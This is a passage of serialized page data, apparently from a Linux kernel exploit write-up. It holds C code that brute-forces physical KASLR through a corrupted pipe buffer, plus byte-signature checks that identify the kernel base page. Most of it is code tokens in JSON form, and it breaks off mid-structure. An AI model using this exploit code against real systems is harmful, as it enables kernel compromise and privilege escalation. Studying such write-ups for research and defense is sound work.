data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[55927],{"type":23,"tag":64,"props":55928,"children":55929},{"__ignoreMap":7},[55930,55937,55945,55953,55977,56010,56030,56070,56077,56121,56155,56182,56218,56225,56271,56278,56308,56321,56386,56393,56405,56413,56420,56427,56453,56460,56480,56492,56499,56506,56513],{"type":23,"tag":481,"props":55931,"children":55932},{"class":483,"line":484},[55933],{"type":23,"tag":481,"props":55934,"children":55935},{"style":525},[55936],{"type":28,"value":7803},{"type":23,"tag":481,"props":55938,"children":55939},{"class":483,"line":351},[55940],{"type":23,"tag":481,"props":55941,"children":55942},{"style":525},[55943],{"type":28,"value":55944},"// Bruteforce phys-KASLR\n",{"type":23,"tag":481,"props":55946,"children":55947},{"class":483,"line":531},[55948],{"type":23,"tag":481,"props":55949,"children":55950},{"style":525},[55951],{"type":28,"value":55952}," uint64_t kernel_base;\n",{"type":23,"tag":481,"props":55954,"children":55955},{"class":483,"line":567},[55956,55960,55965,55969,55973],{"type":23,"tag":481,"props":55957,"children":55958},{"style":497},[55959],{"type":28,"value":43997},{"type":23,"tag":481,"props":55961,"children":55962},{"style":525},[55963],{"type":28,"value":55964}," found ",{"type":23,"tag":481,"props":55966,"children":55967},{"style":514},[55968],{"type":28,"value":603},{"type":23,"tag":481,"props":55970,"children":55971},{"style":497},[55972],{"type":28,"value":6539},{"type":23,"tag":481,"props":55974,"children":55975},{"style":525},[55976],{"type":28,"value":528},{"type":23,"tag":481,"props":55978,"children":55979},{"class":483,"line":678},[55980,55985,55989,55994,55998,56002,56006],{"type":23,"tag":481,"props":55981,"children":55982},{"style":497},[55983],{"type":28,"value":55984}," uint8_t",{"type":23,"tag":481,"props":55986,"children":55987},{"style":508},[55988],{"type":28,"value":12593},{"type":23,"tag":481,"props":55990,"children":55991},{"style":525},[55992],{"type":28,"value":55993},"[PAGE_SIZE] ",{"type":23,"tag":481,"props":55995,"children":55996},{"style":514},[55997],{"type":28,"value":603},{"type":23,"tag":481,"props":55999,"children":56000},{"style":525},[56001],{"type":28,"value":42741},{"type":23,"tag":481,"props":56003,"children":56004},{"style":551},[56005],{"type":28,"value":1568},{"type":23,"tag":481,"props":56007,"children":56008},{"style":525},[56009],{"type":28,"value":14068},{"type":23,"tag":481,"props":56011,"children":56012},{"class":483,"line":784},[56013,56017,56021,56026],{"type":23,"tag":481,"props":56014,"children":56015},{"style":610},[56016],{"type":28,"value":53033},{"type":23,"tag":481,"props":56018,"children":56019},{"style":525},[56020],{"type":28,"value":618},{"type":23,"tag":481,"props":56022,"children":56023},{"style":1805},[56024],{"type":28,"value":56025},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":481,"props":56027,"children":56028},{"style":525},[56029],{"type":28,"value":1366},{"type":23,"tag":481,"props":56031,"children":56032},{"class":483,"line":812},[56033,56037,56041,56045,56049,56053,56057,56062,56066],{"type":23,"tag":481,"props":56034,"children":56035},{"style":535},[56036],{"type":28,"value":538},{"type":23,"tag":481,"props":56038,"children":56039},{"style":525},[56040],{"type":28,"value":578},{"type":23,"tag":481,"props":56042,"children":56043},{"style":497},[56044],{"type":28,"value":53161},{"type":23,"tag":481,"props":56046,"children":56047},{"style":525},[56048],{"type":28,"value":52070},{"type":23,"tag":481,"props":56050,"children":56051},{"style":514},[56052],{"type":28,"value":603},{"type":23,"tag":481,"props":56054,"children":56055},{"style":551},[56056],{"type":28,"value":554},{"type":23,"tag":481,"props":56058,"children":56059},{"style":525},[56060],{"type":28,"value":56061},";; i",{"type":23,"tag":481,"props":56063,"children":56064},{"style":514},[56065],{"type":28,"value":48795},{"type":23,"tag":481,"props":56067,"children":56068},{"style":525},[56069],{"type":28,"value":675},{"type":23,"tag":481,"props":56071,"children":56072},{"class":483,"line":825},[56073],{"type":23,"tag":481,"props":56074,"children":56075},{"style":525},[56076],{"type":28,"value":26700},{"type":23,"tag":481,"props":56078,"children":56079},{"class":483,"line":843},[56080,56085,56089,56094,56098,56103,56107,56112,56116],{"type":23,"tag":481,"props":56081,"children":56082},{"style":525},[56083],{"type":28,"value":56084}," kernel_base ",{"type":23,"tag":481,"props":56086,"children":56087},{"style":514},[56088],{"type":28,"value":603},{"type":23,"tag":481,"props":56090,"children":56091},{"style":551},[56092],{"type":28,"value":56093}," 0x40",{"type":23,"tag":481,"props":56095,"children":56096},{"style":514},[56097],{"type":28,"value":7301},{"type":23,"tag":481,"props":56099,"children":56100},{"style":525},[56101],{"type":28,"value":56102}," ((PHYSICAL_ALIGN ",{"type":23,"tag":481,"props":56104,"children":56105},{"style":514},[56106],{"type":28,"value":2120},{"type":23,"tag":481,"props":56108,"children":56109},{"style":525},[56110],{"type":28,"value":56111}," i) ",{"type":23,"tag":481,"props":56113,"children":56114},{"style":514},[56115],{"type":28,"value":10248},{"type":23,"tag":481,"props":56117,"children":56118},{"style":525},[56119],{"type":28,"value":56120}," PAGE_SHIFT);\n",{"type":23,"tag":481,"props":56122,"children":56123},{"class":483,"line":864},[56124,56129,56133,56137,56141,56146,56150],{"type":23,"tag":481,"props":56125,"children":56126},{"style":508},[56127],{"type":28,"value":56128}," pipebuf",{"type":23,"tag":481,"props":56130,"children":56131},{"style":525},[56132],{"type":28,"value":11245},{"type":23,"tag":481,"props":56134,"children":56135},{"style":508},[56136],{"type":28,"value":55851},{"type":23,"tag":481,"props":56138,"children":56139},{"style":514},[56140],{"type":28,"value":517},{"type":23,"tag":481,"props":56142,"children":56143},{"style":525},[56144],{"type":28,"value":56145}," vmemmap_base ",{"type":23,"tag":481,"props":56147,"children":56148},{"style":514},[56149],{"type":28,"value":1930},{"type":23,"tag":481,"props":56151,"children":56152},{"style":525},[56153],{"type":28,"value":56154}," kernel_base;\n",{"type":23,"tag":481,"props":56156,"children":56157},{"class":483,"line":873},[56158,56162,56166,56170,56174,56178],{"type":23,"tag":481,"props":56159,"children":56160},{"style":508},[56161],{"type":28,"value":56128},{"type":23,"tag":481,"props":56163,"children":56164},{"style":525},[56165],{"type":28,"value":11245},{"type":23,"tag":481,"props":56167,"children":56168},{"style":508},[56169],{"type":28,"value":11389},{"type":23,"tag":481,"props":56171,"children":56172},{"style":514},[56173],{"type":28,"value":517},{"type":23,"tag":481,"props":56175,"children":56176},{"style":551},[56177],{"type":28,"value":554},{"type":23,"tag":481,"props":56179,"children":56180},{"style":525},[56181],{"type":28,"value":528},{"type":23,"tag":481,"props":56183,"children":56184},{"class":483,"line":1125},[56185,56189,56193,56197,56201,56206,56210,56214],{"type":23,"tag":481,"props":56186,"children":56187},{"style":508},[56188],{"type":28,"value":56128},{"type":23,"tag":481,"props":56190,"children":56191},{"style":525},[56192],{"type":28,"value":11245},{"type":23,"tag":481,"props":56194,"children":56195},{"style":508},[56196],{"type":28,"value":6621},{"type":23,"tag":481,"props":56198,"children":56199},{"style":514},[56200],{"type":28,"value":517},{"type":23,"tag":481,"props":56202,"children":56203},{"style":525},[56204],{"type":28,"value":56205}," PAGE_SIZE ",{"type":23,"tag":481,"props":56207,"children":56208},{"style":514},[56209],{"type":28,"value":1930},{"type":23,"tag":481,"props":56211,"children":56212},{"style":551},[56213],{"type":28,"value":2072},{"type":23,"tag":481,"props":56215,"children":56216},{"style":525},[56217],{"type":28,"value":528},{"type":23,"tag":481,"props":56219,"children":56220},{"class":483,"line":1142},[56221],{"type":23,"tag":481,"props":56222,"children":56223},{"style":525},[56224],{"type":28,"value":7803},{"type":23,"tag":481,"props":56226,"children":56227},{"class":483,"line":1159},[56228,56233,56237,56241,56245,56249,56254,56258,56263,56267],{"type":23,"tag":481,"props":56229,"children":56230},{"style":525},[56231],{"type":28,"value":56232}," for (",{"type":23,"tag":481,"props":56234,"children":56235},{"style":497},[56236],{"type":28,"value":16543},{"type":23,"tag":481,"props":56238,"children":56239},{"style":508},[56240],{"type":28,"value":6103},{"type":23,"tag":481,"props":56242,"children":56243},{"style":514},[56244],{"type":28,"value":517},{"type":23,"tag":481,"props":56246,"children":56247},{"style":551},[56248],{"type":28,"value":554},{"type":23,"tag":481,"props":56250,"children":56251},{"style":525},[56252],{"type":28,"value":56253},"; j ",{"type":23,"tag":481,"props":56255,"children":56256},{"style":514},[56257],{"type":28,"value":3282},{"type":23,"tag":481,"props":56259,"children":56260},{"style":525},[56261],{"type":28,"value":56262}," PIPE_SPRAY; j",{"type":23,"tag":481,"props":56264,"children":56265},{"style":514},[56266],{"type":28,"value":48795},{"type":23,"tag":481,"props":56268,"children":56269},{"style":525},[56270],{"type":28,"value":675},{"type":23,"tag":481,"props":56272,"children":56273},{"class":483,"line":1172},[56274],{"type":23,"tag":481,"props":56275,"children":56276},{"style":525},[56277],{"type":28,"value":29174},{"type":23,"tag":481,"props":56279,"children":56280},{"class":483,"line":1181},[56281,56286,56290,56294,56299,56303],{"type":23,"tag":481,"props":56282,"children":56283},{"style":610},[56284],{"type":28,"value":56285}," memset",{"type":23,"tag":481,"props":56287,"children":56288},{"style":525},[56289],{"type":28,"value":618},{"type":23,"tag":481,"props":56291,"children":56292},{"style":514},[56293],{"type":28,"value":623},{"type":23,"tag":481,"props":56295,"children":56296},{"style":525},[56297],{"type":28,"value":56298},"data, ",{"type":23,"tag":481,"props":56300,"children":56301},{"style":551},[56302],{"type":28,"value":1568},{"type":23,"tag":481,"props":56304,"children":56305},{"style":525},[56306],{"type":28,"value":56307},", PAGE_SIZE);\n",{"type":23,"tag":481,"props":56309,"children":56310},{"class":483,"line":1204},[56311,56316],{"type":23,"tag":481,"props":56312,"children":56313},{"style":497},[56314],{"type":28,"value":56315}," int",{"type":23,"tag":481,"props":56317,"children":56318},{"style":525},[56319],{"type":28,"value":56320}," count;\n",{"type":23,"tag":481,"props":56322,"children":56323},{"class":483,"line":1213},[56324,56329,56334,56338,56343,56347,56352,56357,56361,56365,56369,56374,56378,56382],{"type":23,"tag":481,"props":56325,"children":56326},{"style":535},[56327],{"type":28,"value":56328}," if",{"type":23,"tag":481,"props":56330,"children":56331},{"style":525},[56332],{"type":28,"value":56333}," (count ",{"type":23,"tag":481,"props":56335,"children":56336},{"style":514},[56337],{"type":28,"value":603},{"type":23,"tag":481,"props":56339,"children":56340},{"style":610},[56341],{"type":28,"value":56342}," read",{"type":23,"tag":481,"props":56344,"children":56345},{"style":525},[56346],{"type":28,"value":618},{"type":23,"tag":481,"props":56348,"children":56349},{"style":508},[56350],{"type":28,"value":56351},"pfd",{"type":23,"tag":481,"props":56353,"children":56354},{"style":525},[56355],{"type":28,"value":56356},"[j][",{"type":23,"tag":481,"props":56358,"children":56359},{"style":551},[56360],{"type":28,"value":1568},{"type":23,"tag":481,"props":56362,"children":56363},{"style":525},[56364],{"type":28,"value":20559},{"type":23,"tag":481,"props":56366,"children":56367},{"style":514},[56368],{"type":28,"value":623},{"type":23,"tag":481,"props":56370,"children":56371},{"style":525},[56372],{"type":28,"value":56373},"data, PAGE_SIZE) ",{"type":23,"tag":481,"props":56375,"children":56376},{"style":514},[56377],{"type":28,"value":3282},{"type":23,"tag":481,"props":56379,"children":56380},{"style":551},[56381],{"type":28,"value":554},{"type":23,"tag":481,"props":56383,"children":56384},{"style":525},[56385],{"type":28,"value":675},{"type":23,"tag":481,"props":56387,"children":56388},{"class":483,"line":1222},[56389],{"type":23,"tag":481,"props":56390,"children":56391},{"style":525},[56392],{"type":28,"value":29210},{"type":23,"tag":481,"props":56394,"children":56395},{"class":483,"line":1291},[56396,56401],{"type":23,"tag":481,"props":56397,"children":56398},{"style":535},[56399],{"type":28,"value":56400}," continue",{"type":23,"tag":481,"props":56402,"children":56403},{"style":525},[56404],{"type":28,"value":528},{"type":23,"tag":481,"props":56406,"children":56407},{"class":483,"line":1299},[56408],{"type":23,"tag":481,"props":56409,"children":56410},{"style":525},[56411],{"type":28,"value":56412}," }\n",{"type":23,"tag":481,"props":56414,"children":56415},{"class":483,"line":1329},[56416],{"type":23,"tag":481,"props":56417,"children":56418},{"style":525},[56419],{"type":28,"value":7803},{"type":23,"tag":481,"props":56421,"children":56422},{"class":483,"line":1337},[56423],{"type":23,"tag":481,"props":56424,"children":56425},{"emptyLinePlaceholder":15},[56426],{"type":28,"value":1210},{"type":23,"tag":481,"props":56428,"children":56429},{"class":483,"line":1369},[56430,56435,56440,56444,56448],{"type":23,"tag":481,"props":56431,"children":56432},{"style":525},[56433],{"type":28,"value":56434}," if (",{"type":23,"tag":481,"props":56436,"children":56437},{"style":943},[56438],{"type":28,"value":56439},"is_kernel_base",{"type":23,"tag":481,"props":56441,"children":56442},{"style":525},[56443],{"type":28,"value":618},{"type":23,"tag":481,"props":56445,"children":56446},{"style":943},[56447],{"type":28,"value":1237},{"type":23,"tag":481,"props":56449,"children":56450},{"style":525},[56451],{"type":28,"value":56452},")) // [1] identify kernel base\n",{"type":23,"tag":481,"props":56454,"children":56455},{"class":483,"line":1377},[56456],{"type":23,"tag":481,"props":56457,"children":56458},{"style":525},[56459],{"type":28,"value":29210},{"type":23,"tag":481,"props":56461,"children":56462},{"class":483,"line":1437},[56463,56468,56472,56476],{"type":23,"tag":481,"props":56464,"children":56465},{"style":525},[56466],{"type":28,"value":56467}," found ",{"type":23,"tag":481,"props":56469,"children":56470},{"style":514},[56471],{"type":28,"value":603},{"type":23,"tag":481,"props":56473,"children":56474},{"style":497},[56475],{"type":28,"value":9956},{"type":23,"tag":481,"props":56477,"children":56478},{"style":525},[56479],{"type":28,"value":528},{"type":23,"tag":481,"props":56481,"children":56482},{"class":483,"line":6528},[56483,56488],{"type":23,"tag":481,"props":56484,"children":56485},{"style":535},[56486],{"type":28,"value":56487}," break",{"type":23,"tag":481,"props":56489,"children":56490},{"style":525},[56491],{"type":28,"value":528},{"type":23,"tag":481,"props":56493,"children":56494},{"class":483,"line":6546},[56495],{"type":23,"tag":481,"props":56496,"children":56497},{"style":525},[56498],{"type":28,"value":56412},{"type":23,"tag":481,"props":56500,"children":56501},{"class":483,"line":6591},[56502],{"type":23,"tag":481,"props":56503,"children":56504},{"style":525},[56505],{"type":28,"value":870},{"type":23,"tag":481,"props":56507,"children":56508},{"class":483,"line":6697},[56509],{"type":23,"tag":481,"props":56510,"children":56511},{"emptyLinePlaceholder":15},[56512],{"type":28,"value":1210},{"type":23,"tag":481,"props":56514,"children":56515},{"class":483,"line":21008},[56516],{"type":23,"tag":481,"props":56517,"children":56518},{"style":525},[56519],{"type":28,"value":7803},{"type":23,"tag":24,"props":56521,"children":56522},{},[56523,56525,56529,56531,56537,56539,56543],{"type":28,"value":56524},"Notice that at ",{"type":23,"tag":481,"props":56526,"children":56527},{},[56528],{"type":28,"value":1558},{"type":28,"value":56530}," we call the ",{"type":23,"tag":64,"props":56532,"children":56534},{"className":56533},[],[56535],{"type":28,"value":56536},"is_kernel_base()",{"type":28,"value":56538}," function. This is a function based on lau's exploit ",{"type":23,"tag":481,"props":56540,"children":56541},{},[56542],{"type":28,"value":15602},{"type":28,"value":56544}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":435,"props":56546,"children":56548},{"className":26623,"code":56547,"language":26625,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[56549],{"type":23,"tag":64,"props":56550,"children":56551},{"__ignoreMap":7},[56552,56559,56589,56596,56604,56611,56619,56690,56752,56767,56774,56782,56850,56912,56973,57034,57096,57158,57219,57280,57341,57402,57463,57478,57485,57500,57507],{"type":23,"tag":481,"props":56553,"children":56554},{"class":483,"line":484},[56555],{"type":23,"tag":481,"props":56556,"children":56557},{"style":525},[56558],{"type":28,"value":7803},{"type":23,"tag":481,"props":56560,"children":56561},{"class":483,"line":351},[56562,56567,56572,56577,56581,56585],{"type":23,"tag":481,"props":56563,"children":56564},{"style":525},[56565],{"type":28,"value":56566},"static bool is_kernel_base(",{"type":23,"tag":481,"props":56568,"children":56569},{"style":497},[56570],{"type":28,"value":56571},"unsigned",{"type":23,"tag":481,"props":56573,"children":56574},{"style":497},[56575],{"type":28,"value":56576}," char",{"type":23,"tag":481,"props":56578,"children":56579},{"style":497},[56580],{"type":28,"value":7301},{"type":23,"tag":481,"props":56582,"children":56583},{"style":508},[56584],{"type":28,"value":28201},{"type":23,"tag":481,"props":56586,"children":56587},{"style":525},[56588],{"type":28,"value":675},{"type":23,"tag":481,"props":56590,"children":56591},{"class":483,"line":531},[56592],{"type":23,"tag":481,"props":56593,"children":56594},{"style":525},[56595],{"type":28,"value":8366},{"type":23,"tag":481,"props":56597,"children":56598},{"class":483,"line":567},[56599],{"type":23,"tag":481,"props":56600,"children":56601},{"style":488},[56602],{"type":28,"value":56603}," // thanks lau :)\n",{"type":23,"tag":481,"props":56605,"children":56606},{"class":483,"line":678},[56607],{"type":23,"tag":481,"props":56608,"children":56609},{"emptyLinePlaceholder":15},[56610],{"type":28,"value":1210},{"type":23,"tag":481,"props":56612,"children":56613},{"class":483,"line":784},[56614],{"type":23,"tag":481,"props":56615,"children":56616},{"style":488},[56617],{"type":28,"value":56618}," // get-sig kernel_runtime_1\n",{"type":23,"tag":481,"props":56620,"children":56621},{"class":483,"line":812},[56622,56626,56630,56635,56640,56644,56649,56653,56657,56662,56666,56670,56674,56678,56682,56686],{"type":23,"tag":481,"props":56623,"children":56624},{"style":535},[56625],{"type":28,"value":9766},{"type":23,"tag":481,"props":56627,"children":56628},{"style":525},[56629],{"type":28,"value":578},{"type":23,"tag":481,"props":56631,"children":56632},{"style":610},[56633],{"type":28,"value":56634},"memcmp",{"type":23,"tag":481,"props":56636,"children":56637},{"style":525},[56638],{"type":28,"value":56639},"(addr ",{"type":23,"tag":481,"props":56641,"children":56642},{"style":514},[56643],{"type":28,"value":1930},{"type":23,"tag":481,"props":56645,"children":56646},{"style":551},[56647],{"type":28,"value":56648}," 0x0",{"type":23,"tag":481,"props":56650,"children":56651},{"style":525},[56652],{"type":28,"value":588},{"type":23,"tag":481,"props":56654,"children":56655},{"style":1805},[56656],{"type":28,"value":17557},{"type":23,"tag":481,"props":56658,"children":56659},{"style":45898},[56660],{"type":28,"value":56661},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":481,"props":56663,"children":56664},{"style":1805},[56665],{"type":28,"value":17557},{"type":23,"tag":481,"props":56667,"children":56668},{"style":525},[56669],{"type":28,"value":588},{"type":23,"tag":481,"props":56671,"children":56672},{"style":551},[56673],{"type":28,"value":15602},{"type":23,"tag":481,"props":56675,"children":56676},{"style":525},[56677],{"type":28,"value":598},{"type":23,"tag":481,"props":56679,"children":56680},{"style":514},[56681],{"type":28,"value":6055},{"type":23,"tag":481,"props":56683,"children":56684},{"style":551},[56685],{"type":28,"value":554},{"type":23,"tag":481,"props":56687,"children":56688},{"style":514},[56689],{"type":28,"value":50210},{"type":23,"tag":481,"props":56691,"children":56692},{"class":483,"line":825},[56693,56698,56702,56706,56711,56715,56719,56724,56728,56732,56736,56740,56744,56748],{"type":23,"tag":481,"props":56694,"children":56695},{"style":610},[56696],{"type":28,"value":56697}," memcmp",{"type":23,"tag":481,"props":56699,"children":56700},{"style":525},[56701],{"type":28,"value":56639},{"type":23,"tag":481,"props":56703,"children":56704},{"style":514},[56705],{"type":28,"value":1930},{"type":23,"tag":481,"props":56707,"children":56708},{"style":551},[56709],{"type":28,"value":56710}," 0x7",{"type":23,"tag":481,"props":56712,"children":56713},{"style":525},[56714],{"type":28,"value":588},{"type":23,"tag":481,"props":56716,"children":56717},{"style":1805},[56718],{"type":28,"value":17557},{"type":23,"tag":481,"props":56720,"children":56721},{"style":45898},[56722],{"type":28,"value":56723},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":481,"props":56725,"children":56726},{"style":1805},[56727],{"type":28,"value":17557},{"type":23,"tag":481,"props":56729,"children":56730},{"style":525},[56731],{"type":28,"value":588},{"type":23,"tag":481,"props":56733,"children":56734},{"style":551},[56735],{"type":28,"value":52197},{"type":23,"tag":481,"props":56737,"children":56738},{"style":525},[56739],{"type":28,"value":598},{"type":23,"tag":481,"props":56741,"children":56742},{"style":514},[56743],{"type":28,"value":6055},{"type":23,"tag":481,"props":56745,"children":56746},{"style":551},[56747],{"type":28,"value":554},{"type":23,"tag":481,"props":56749,"children":56750},{"style":525},[56751],{"type":28,"value":675},{"type":23,"tag":481,"props":56753,"children":56754},{"class":483,"line":843},[56755,56759,56763],{"type":23,"tag":481,"props":56756,"children":56757},{"style":535},[56758],{"type":28,"value":13234},{"type":23,"tag":481,"props":56760,"children":56761},{"style":497},[56762],{"type":28,"value":9956},{"type":23,"tag":481,"props":56764,"children":56765},{"style":525},[56766],{"type":28,"value":528},{"type":23,"tag":481,"props":56768,"children":56769},{"class":483,"line":864},[56770],{"type":23,"tag":481,"props":56771,"children":56772},{"emptyLinePlaceholder":15},[56773],{"type":28,"value":1210},{"type":23,"tag":481,"props":56775,"children":56776},{"class":483,"line":873},[56777],{"type":23,"tag":481,"props":56778,"children":56779},{"style":488},[56780],{"type":28,"value":56781}," // get-sig kernel_runtime_2\n",{"type":23,"tag":481,"props":56783,"children":56784},{"class":483,"line":1125},[56785,56789,56793,56797,56801,56805,56809,56813,56817,56822,56826,56830,56834,56838,56842,56846],{"type":23,"tag":481,"props":56786,"children":56787},{"style":535},[56788],{"type":28,"value":9766},{"type":23,"tag":481,"props":56790,"children":56791},{"style":525},[56792],{"type":28,"value":578},{"type":23,"tag":481,"props":56794,"children":56795},{"style":610},[56796],{"type":28,"value":56634},{"type":23,"tag":481,"props":56798,"children":56799},{"style":525},[56800],{"type":28,"value":56639},{"type":23,"tag":481,"props":56802,"children":56803},{"style":514},[56804],{"type":28,"value":1930},{"type":23,"tag":481,"props":56806,"children":56807},{"style":551},[56808],{"type":28,"value":56648},{"type":23,"tag":481,"props":56810,"children":56811},{"style":525},[56812],{"type":28,"value":588},{"type":23,"tag":481,"props":56814,"children":56815},{"style":1805},[56816],{"type":28,"value":17557},{"type":23,"tag":481,"props":56818,"children":56819},{"style":45898},[56820],{"type":28,"value":56821},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":481,"props":56823,"children":56824},{"style":1805},[56825],{"type":28,"value":17557},{"type":23,"tag":481,"props":56827,"children":56828},{"style":525},[56829],{"type":28,"value":588},{"type":23,"tag":481,"props":56831,"children":56832},{"style":551},[56833],{"type":28,"value":15021},{"type":23,"tag":481,"props":56835,"children":56836},{"style":525},[56837],{"type":28,"value":598},{"type":23,"tag":481,"props":56839,"children":56840},{"style":514},[56841],{"type":28,"value":6055},{"type":23,"tag":481,"props":56843,"children":56844},{"style":551},[56845],{"type":28,"value":554},{"type":23,"tag":481,"props":56847,"children":56848},{"style":514},[56849],{"type":28,"value":50210},{"type":23,"tag":481,"props":56851,"children":56852},{"class":483,"line":1142},[56853,56857,56861,56865,56870,56874,56878,56883,56887,56891,56896,56900,56904,56908],{"type":23,"tag":481,"props":56854,"children":56855},{"style":610},[56856],{"type":28,"value":56697},{"type":23,"tag":481,"props":56858,"children":56859},{"style":525},[56860],{"type":28,"value":56639},{"type":23,"tag":481,"props":56862,"children":56863},{"style":514},[56864],{"type":28,"value":1930},{"type":23,"tag":481,"props":56866,"children":56867},{"style":551},[56868],{"type":28,"value":56869}," 0x8",{"type":23,"tag":481,"props":56871,"children":56872},{"style":525},[56873],{"type":28,"value":588},{"type":23,"tag":481,"props":56875,"children":56876},{"style":1805},[56877],{"type":28,"value":17557},{"type":23,"tag":481,"props":56879,"children":56880},{"style":45898},[56881],{"type":28,"value":56882},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":481,"props":56884,"children":56885},{"style":1805},[56886],{"type":28,"value":17557},{"type":23,"tag":481,"props":56888,"children":56889},{"style":525},[56890],{"type":28,"value":588},{"type":23,"tag":481,"props":56892,"children":56893},{"style":551},[56894],{"type":28,"value":56895},"12",{"type":23,"tag":481,"props":56897,"children":56898},{"style":525},[56899],{"type":28,"value":598},{"type":23,"tag":481,"props":56901,"children":56902},{"style":514},[56903],{"type":28,"value":6055},{"type":23,"tag":481,"props":56905,"children":56906},{"style":551},[56907],{"type":28,"value":554},{"type":23,"tag":481,"props":56909,"children":56910},{"style":514},[56911],{"type":28,"value":50210},{"type":23,"tag":481,"props":56913,"children":56914},{"class":483,"line":1159},[56915,56919,56923,56927,56932,56936,56940,56945,56949,56953,56957,56961,56965,56969],{"type":23,"tag":481,"props":56916,"children":56917},{"style":610},[56918],{"type":28,"value":56697},{"type":23,"tag":481,"props":56920,"children":56921},{"style":525},[56922],{"type":28,"value":56639},{"type":23,"tag":481,"props":56924,"children":56925},{"style":514},[56926],{"type":28,"value":1930},{"type":23,"tag":481,"props":56928,"children":56929},{"style":551},[56930],{"type":28,"value":56931}," 0x18",{"type":23,"tag":481,"props":56933,"children":56934},{"style":525},[56935],{"type":28,"value":588},{"type":23,"tag":481,"props":56937,"children":56938},{"style":1805},[56939],{"type":28,"value":17557},{"type":23,"tag":481,"props":56941,"children":56942},{"style":45898},[56943],{"type":28,"value":56944},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":481,"props":56946,"children":56947},{"style":1805},[56948],{"type":28,"value":17557},{"type":23,"tag":481,"props":56950,"children":56951},{"style":525},[56952],{"type":28,"value":588},{"type":23,"tag":481,"props":56954,"children":56955},{"style":551},[56956],{"type":28,"value":15021},{"type":23,"tag":481,"props":56958,"children":56959},{"style":525},[56960],{"type":28,"value":598},{"type":23,"tag":481,"props":56962,"children":56963},{"style":514},[56964],{"type":28,"value":6055},{"type":23,"tag":481,"props":56966,"children":56967},{"style":551},[56968],{"type":28,"value":554},{"type":23,"tag":481,"props":56970,"children":56971},{"style":514},[56972],{"type":28,"value":50210},{"type":23,"tag":481,"props":56974,"children":56975},{"class":483,"line":1172},[56976,56980,56984,56988,56993,56997,57001,57006,57010,57014,57018,57022,57026,57030],{"type":23,"tag":481,"props":56977,"children":56978},{"style":610},[56979],{"type":28,"value":56697},{"type":23,"tag":481,"props":56981,"children":56982},{"style":525},[56983],{"type":28,"value":56639},{"type":23,"tag":481,"props":56985,"children":56986},{"style":514},[56987],{"type":28,"value":1930},{"type":23,"tag":481,"props":56989,"children":56990},{"style":551},[56991],{"type":28,"value":56992}," 0x20",{"type":23,"tag":481,"props":56994,"children":56995},{"style":525},[56996],{"type":28,"value":588},{"type":23,"tag":481,"props":56998,"children":56999},{"style":1805},[57000],{"type":28,"value":17557},{"type":23,"tag":481,"props":57002,"children":57003},{"style":45898},[57004],{"type":28,"value":57005},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":481,"props":57007,"children":57008},{"style":1805},[57009],{"type":28,"value":17557},{"type":23,"tag":481,"props":57011,"children":57012},{"style":525},[57013],{"type":28,"value":588},{"type":23,"tag":481,"props":57015,"children":57016},{"style":551},[57017],{"type":28,"value":15914},{"type":23,"tag":481,"props":57019,"children":57020},{"style":525},[57021],{"type":28,"value":598},{"type":23,"tag":481,"props":57023,"children":57024},{"style":514},[57025],{"type":28,"value":6055},{"type":23,"tag":481,"props":57027,"children":57028},{"style":551},[57029],{"type":28,"value":554},{"type":23,"tag":481,"props":57031,"children":57032},{"style":514},[57033],{"type":28,"value":50210},{"type":23,"tag":481,"props":57035,"children":57036},{"class":483,"line":1181},[57037,57041,57045,57049,57054,57058,57062,57067,57071,57075,57080,57084,57088,57092],{"type":23,"tag":481,